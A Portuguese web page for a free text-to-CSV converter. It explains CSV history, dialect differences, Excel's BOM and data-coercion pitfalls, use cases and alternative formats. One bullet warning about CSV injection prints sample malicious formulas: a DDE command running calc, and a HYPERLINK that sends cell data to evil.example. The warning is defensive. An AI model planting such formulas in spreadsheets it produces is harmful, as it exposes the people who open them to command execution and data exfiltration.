Conversor gratuito de texto para CSV

Sobre o formato CSV

O CSV (Comma-Separated Values, valores separados por vírgulas) é um formato de texto simples para armazenar dados tabulares. Cada linha representa um registro e os valores são separados por vírgulas. O CSV é amplamente suportado por planilhas, bancos de dados e ferramentas de análise.

Por que converter para CSV ?

• Portabilidade dos dados · converta de qualquer formato de texto para CSV, fácil de importar em uma planilha.
• Formato universal · o CSV é suportado pelo Excel, Google Sheets, bancos de dados e ferramentas de programação.
• Limpeza de dados · padronize separadores e formatação inconsistentes.
• APIs e automação · o CSV é ideal para operações em massa e integrações.
• Formato de arquivo · armazene dados tabulares em um formato legível e independente de plataforma.

Perguntas frequentes

Quais separadores a ferramenta suporta ?

Ela detecta automaticamente tabulação, espaço, vírgula, ponto-e-vírgula e barra vertical. Você também pode definir um separador personalizado de um único caractere.

Como lidar com campos que contêm vírgulas ?

Ative a opção « Colocar entre aspas os campos que contêm vírgulas » para envolvê-los em aspas, o que os torna compatíveis com o CSV.

Posso incluir um cabeçalho ?

Sim, ative a opção « Incluir uma linha de cabeçalho » se sua primeira linha contém os nomes das colunas.

Uma breve história do CSV, mais antigo que a especificação que o define

O CSV é o formato que todo mundo usa e ninguém é dono. Sua linhagem é informal. O uso documentado mais antigo da convenção de separação por vírgulas data de 1972, quando o IBM Fortran (nível H estendido) passou a suportar entrada/saída dirigida por lista, em que as vírgulas serviam de separadores entre valores em uma linha. Ao longo das décadas de 1970 e 1980, cada banco de dados, planilha, pacote estatístico e aplicação de contabilidade que precisava trocar dados com outra ferramenta inventou, de forma independente, alguma variante de «valores separados por algum caractere em linhas separadas por algum outro caractere». Não havia especificação. Não havia órgão regulador. Não havia implementação canônica. Havia apenas consenso, no sentido mais frouxo possível.

No início dos anos 2000, o custo do caos se tornou impossível de ignorar. A IETF acabou aceitando uma especificação, a RFC 4180, «Common Format and MIME Type for Comma-Separated Values (CSV) Files», publicada em outubro de 2005 por Yakov Shafranovich. A RFC 4180 é curta, apenas algumas páginas, e codificou aquilo em que a maioria das pessoas já havia convergido: uma vírgula como separador de campo, aspas duplas como caractere de delimitação opcional para campos que contêm vírgulas, aspas ou quebras de linha, aspas duplas duplicadas ("") como forma de escapar uma aspa literal dentro de um campo entre aspas, CRLF como terminador de linha e text/csv como o tipo MIME registrado na IANA. A especificação também definiu um parâmetro header opcional para o tipo MIME, para que um remetente pudesse informar a um destinatário se a primeira linha é uma linha de cabeçalho.

A RFC 4180 é informativa, não um padrão rígido. A conformidade com ela é voluntária. Mas ela nos dá um alvo, o mais próximo que o CSV tem de uma definição de «correto». Um documento posterior, o «Model for Tabular Data and Metadata on the Web» do W3C (CSVW, 2015), tentou ampliar a parte de metadados do CSV ao anexar um arquivo JSON paralelo que diz o que é cada coluna e como interpretá-la. O CSVW é amplamente citado e raramente implantado.

«CSV» no mundo real não significa o que a RFC 4180 diz que significa

Qualquer um que já teve de receber um CSV de um desconhecido conhece o formato do problema. As divergências se dividem em vários eixos:

• O caractere separador. A RFC 4180 diz vírgula. As instalações europeias do Excel em países onde a vírgula é o separador decimal (a maior parte da Europa continental, França, Alemanha, Itália, Espanha, Países Baixos, Brasil) escrevem CSV, por padrão, com ponto e vírgula como separador, porque usar uma vírgula colidiria com valores numéricos como 3,14 para π. A extensão do arquivo continua sendo .csv; o tipo MIME continua sendo text/csv; o conteúdo não é o que um destinatário americano ou britânico espera.
• Uso de aspas. A RFC 4180 manda envolver em aspas duplas quando um campo contém o separador, uma aspa ou uma quebra de linha; e duplicar as aspas embutidas (de modo que He said "hi" vira "He said ""hi"""). Na prática, muitos geradores colocam aspas em tudo (paranoicos), alguns não colocam aspas em nada (e quebram no instante em que aparece uma vírgula), e uns poucos escapam com barra invertida (\"), uma convenção da linguagem C que quebra os parsers compatíveis com a RFC.
• Fins de linha. A RFC 4180 exige CRLF (\r\n). O Excel no Windows produz CRLF. O Excel no Mac clássico produzia apenas CR (\r). A maioria das ferramentas Unix e Linux produz LF (\n). Os três aparecem em arquivos rotulados como .csv, e a variação quebra os parsers que codificam uma única expectativa de forma fixa.
• Quebras de linha finais. Alguns geradores terminam o último registro com uma quebra de linha; outros não. Parsers que contam registros contando quebras de linha relatam erros de um a mais ou um a menos, dependendo da entrada.
• Cabeçalhos. Os arquivos no mundo real se dividem mais ou menos meio a meio. O tipo MIME permite um parâmetro header=present, mas ninguém envia cabeçalhos MIME quando te manda um CSV por e-mail, então você precisa adivinhar.

A armadilha do BOM

Isto merece uma seção própria porque é, de longe, a fonte mais comum de dor de cabeça com CSV entre plataformas. O Microsoft Excel não detecta automaticamente um CSV codificado em UTF-8 a menos que o arquivo comece com uma marca de ordem de bytes (BOM) UTF-8: os três bytes EF BB BF, que codificam o caractere Unicode U+FEFF. Sem o BOM, o Excel abre o arquivo na página de código legada do locale do Windows do usuário (Windows-1252 no Ocidente, Shift_JIS no Japão, GBK na China continental). Qualquer caractere não ASCII (letras acentuadas, símbolos de moeda, emoji, caracteres CJK) fica corrompido.

A correção é colocar o BOM no início. O custo é que todo o resto engasga com ele. O Apple Numbers (até versões recentes) mostra o BOM como um caractere literal na primeira célula. Muitas ferramentas de linha de comando (awk, cut, o sed mais antigo) tratam o BOM como parte do primeiro campo, então um cabeçalho que deveria ser lido como name é lido como name. A maioria dos parsers de CSV em JavaScript o remove; muitos fluxos mais antigos com o módulo csv do Python não (é preciso abrir o arquivo com o codec utf-8-sig). Como uma ferramenta on-line gratuita não tem como saber onde o usuário vai abrir o arquivo, omitir o BOM e documentar que os usuários do Excel devem usar Dados → De Texto/CSV (que sempre permite ao usuário escolher UTF-8 explicitamente) é um padrão razoável.

O Excel vem com pelo menos quatro formatos «CSV» diferentes

A caixa de diálogo «Salvar como» do Excel oferece mais de uma variante de CSV, e as diferenças importam:

• CSV (separado por vírgulas) (*.csv): usa o separador de lista do locale do usuário (vírgula em en-US/en-GB, ponto e vírgula em fr-FR/de-DE/es-ES/it-IT/pt-BR). A codificação é a página de código ANSI legada. Sem BOM. Fins de linha CRLF.
• CSV UTF-8 (separado por vírgulas) (*.csv): mesmo comportamento de separador acima (ainda guiado pelo locale, apesar do nome), mas codificado em UTF-8 com um BOM. Introduzido no Excel 2016.
• CSV (Macintosh) (*.csv): separado por vírgulas, codificação MacRoman, fins de linha do Mac clássico (apenas CR). Praticamente obsoleto, mas ainda aparece.
• CSV (MS-DOS) (*.csv): separado por vírgulas, página de código OEM (CP437 em en-US, CP850 na Europa Ocidental), CRLF.

O rótulo que o usuário vê diz «CSV» de quatro formas diferentes. O conteúdo real do arquivo é materialmente diferente. Essa é a realidade prática dentro da qual o conversor opera.

Por que converter texto → CSV, especificamente

A maioria das «ferramentas de CSV» on-line roda na direção inversa: pegam um CSV e emitem outra coisa (JSON, uma tabela HTML, um INSERT SQL, um PDF imprimível). Esta roda no sentido oposto: pega um texto bagunçado e produz um CSV limpo. Esse é o caso de uso para:

• Limpar uma lista de e-mails para virar linhas de planilha. Um operador de CRM copia 800 e-mails de um campo CCO para um bloco de notas. Cada e-mail precisa ficar em sua própria linha em uma planilha para subir a uma ferramenta de mala direta. Cole, adicione o cabeçalho, baixe.
• Converter uma tabela copiada de um PDF. As tabelas de PDF, quando copiadas, muitas vezes chegam como texto em que as colunas são separadas por sequências de espaços (ou tabulações, dependendo do gerador do PDF). Um delimitador flexível (incluindo «espaços em branco consecutivos») transforma isso em uma grade limpa.
• Reestruturar saídas geradas por IA. Os grandes modelos de linguagem adoram emitir tabelas em Markdown. O usuário pode colar uma tabela Markdown; o conversor detecta os delimitadores de barra vertical e a linha separadora de traços; a saída é um CSV de verdade.
• Importar logs para o Excel ou o Google Sheets. O formato combined log do Apache, os registros do syslog e muitos logs de aplicações são orientados a linhas, mas não são naturalmente amigáveis a planilhas. Converta para CSV, abra em uma planilha, ordene, filtre, faça tabelas dinâmicas.
• Preparar dados para instruções COPY de banco de dados. O COPY ... FROM STDIN WITH (FORMAT csv) do PostgreSQL lê CSV diretamente. Um usuário com uma lista em um arquivo de texto pode colar, converter e fazer \copy para uma tabela sem escrever um script de carga.
• Construir CSV à mão para operações em lote. Stripe, Mailchimp, Shopify e a maioria das plataformas SaaS oferecem importação de CSV para operações em massa. Um usuário que precisa atualizar 30 preços de produtos constrói as linhas manualmente; a ferramenta transforma a lista que ele digitou no CSV exato que a plataforma espera.

O Excel vai reescrever seus dados, às vezes silenciosamente

Um punhado de ciladas do CSV pega até usuários cuidadosos:

• Os zeros à esquerda desaparecem. Um código postal dos EUA 01234 abre como 1234. Um ramal telefônico 0049 abre como 49. Um código de produto 00ABC abre como ABC se o Excel decidir, no meio do processo, que a coluna é texto. A única defesa confiável é colocar um apóstrofo na frente (truque de exibição), pré-formatar a coluna como texto ou usar o caminho de importação Dados → De Texto/CSV do Excel, que permite travar os tipos das colunas.
• Conversão automática para notação científica. Uma string numérica longa como 0123456789012 vira 1.23457E+11 quando o Excel decide que é um número. Os caracteres originais somem. Isso corrompeu de forma tão notória conjuntos de dados de nomes de genes que o Comitê de Nomenclatura de Genes da HUGO renomeou vários genes em 2020 especificamente para escapar da coerção do Excel: símbolos de genes como MARCH1, SEPT2 e OCT4 estavam virando datas.
• Detecção automática de datas. Uma coluna contendo fórmulas de compasso musicais 3/4, 4/4, 6/8, 7/8 vira datas: 3 de abril, 4 de abril, 6 de agosto, 7 de agosto. O mesmo vale para números de série como 1-1 e horários como 1:30.
• Interpretação hexadecimal. 0x1A e 0E5 são ambas representações numéricas válidas reconhecidas pelo Excel. Uma coluna de endereços de registrador ou de códigos de compostos químicos pode sofrer mutação silenciosa.
• O ataque de injeção em CSV. Um campo que começa com =, +, -, @ ou uma tabulação/CR é interpretado pelo Excel e pelo Google Sheets como uma fórmula. Um valor malicioso como =cmd|'/c calc'!A0 ou =HYPERLINK("https://evil.example/?d="&A1, "Click") pode exfiltrar o conteúdo de células adjacentes ou executar comandos de shell, dependendo das configurações do cliente de planilha. Qualquer ferramenta que emita CSV a partir de texto enviado pelo usuário deveria considerar escapar os caracteres de fórmula iniciais.
• Campos entre aspas que contêm quebras de linha. Um campo como "Hello,\nworld" com uma quebra de linha literal dentro das aspas é um único campo que ocupa duas linhas no disco. Parsers que dividem primeiro por quebras de linha e depois por vírgulas vão corromper os dados silenciosamente. A análise correta de CSV é uma máquina de estados, não duas passagens de String.split.

Onde esta ferramenta se encaixa entre as alternativas modernas ao CSV

O CSV sobrevive porque é texto e os humanos conseguem lê-lo. Para troca séria de dados, vários formatos tomaram a dianteira em dimensões específicas:

• Apache Parquet. Um formato colunar binário. Os arquivos são tipados, comprimidos e orientados a colunas (de modo que SELECT col1 FROM big_file.parquet lê apenas aquela coluna do disco). Padrão para cargas de trabalho analíticas; Snowflake, BigQuery, Databricks e Athena o leem nativamente. O candidato mais forte para «o que você deveria usar em vez de CSV quando controla as duas pontas». Binário, então não atende ao caso de uso de «consigo ler isto em um editor de texto».
• JSON Lines (JSONL / NDJSON). Um objeto JSON por linha. Combina a capacidade de streaming do CSV com a estrutura tipada e aninhada do JSON. Muito usado para ingestão de logs, conjuntos de dados de ML e fluxos de eventos. Contrapartida: mais verboso que o CSV (cada registro repete todas as chaves).
• Apache Arrow IPC (Feather v2). Um formato binário, em memória e na transmissão, para dados tabulares, projetado para troca sem cópia (zero-copy) entre processos e linguagens. Muito usado dentro de conjuntos de ferramentas de ciência de dados (pandas, o pacote arrow do R, Polars, DuckDB).
• Avro e ORC. Formatos binários que carregam schema, do ecossistema Hadoop. Menos comuns fora da engenharia de dados.

Para um conversor on-line gratuito voltado a desenvolvedores e trabalhadores de escritório, o CSV continua sendo o formato de saída certo porque é a língua franca da importação de dados em toda parte. Existem alternativas modernas; elas não destronaram o CSV na caixa de entrada.

Mais perguntas

Devo adicionar um BOM UTF-8 à saída?

Se o arquivo se destina a ser aberto com duplo clique no Excel no Windows, sim: sem o BOM, o Excel o abre na página de código legada e corrompe o texto não ASCII. Se ele se destina a qualquer outra coisa (Apple Numbers, scripts de linha de comando, formulários de upload na web), omita o BOM. O caminho mais seguro é omitir o BOM e orientar os usuários do Excel a importar via Dados → De Texto/CSV, onde podem escolher UTF-8 explicitamente.

Meu CSV abre com uma célula por linha no Excel; o que deu errado?

Quase sempre uma incompatibilidade de separador. Você está em um locale em que o Excel espera ponto e vírgula (a maior parte da Europa continental), mas o arquivo usa vírgulas, ou vice-versa. Abra com Dados → De Texto/CSV em vez de dar duplo clique; esse assistente permite escolher o delimitador explicitamente. Ou salve o arquivo pelo menu Salvar como do Excel usando a variante que corresponde ao seu separador local.

Qual é a diferença entre TSV e CSV?

O TSV usa caracteres de tabulação como separador, em vez de vírgulas, com seu próprio tipo MIME text/tab-separated-values e registro na IANA. A vantagem do TSV é que os dados do mundo real raramente contêm tabulações literais, então quase nunca é preciso usar aspas; a desvantagem é que as tabulações são invisíveis nos editores de texto e o comportamento de copiar e colar varia. A maquinaria de aspas do CSV o torna seguro para campos que contêm o delimitador; o TSV em geral evita o problema por completo.

Existe um linter de CSV que eu possa rodar antes de compartilhar meu arquivo?

Sim. Para uso na linha de comando, o csvclean do csvkit relata linhas com o número errado de colunas. A CLI frictionless da Frictionless Data valida em relação a um schema opcional. Para trabalho no navegador, o PapaParse relata erros de análise linha a linha. A validação estrita em relação à RFC 4180 (fins de linha CRLF, escape por aspas duplicadas) é rara na prática; a maioria dos parsers aceita qualquer uma das variantes comuns.

Ferramentas relacionadas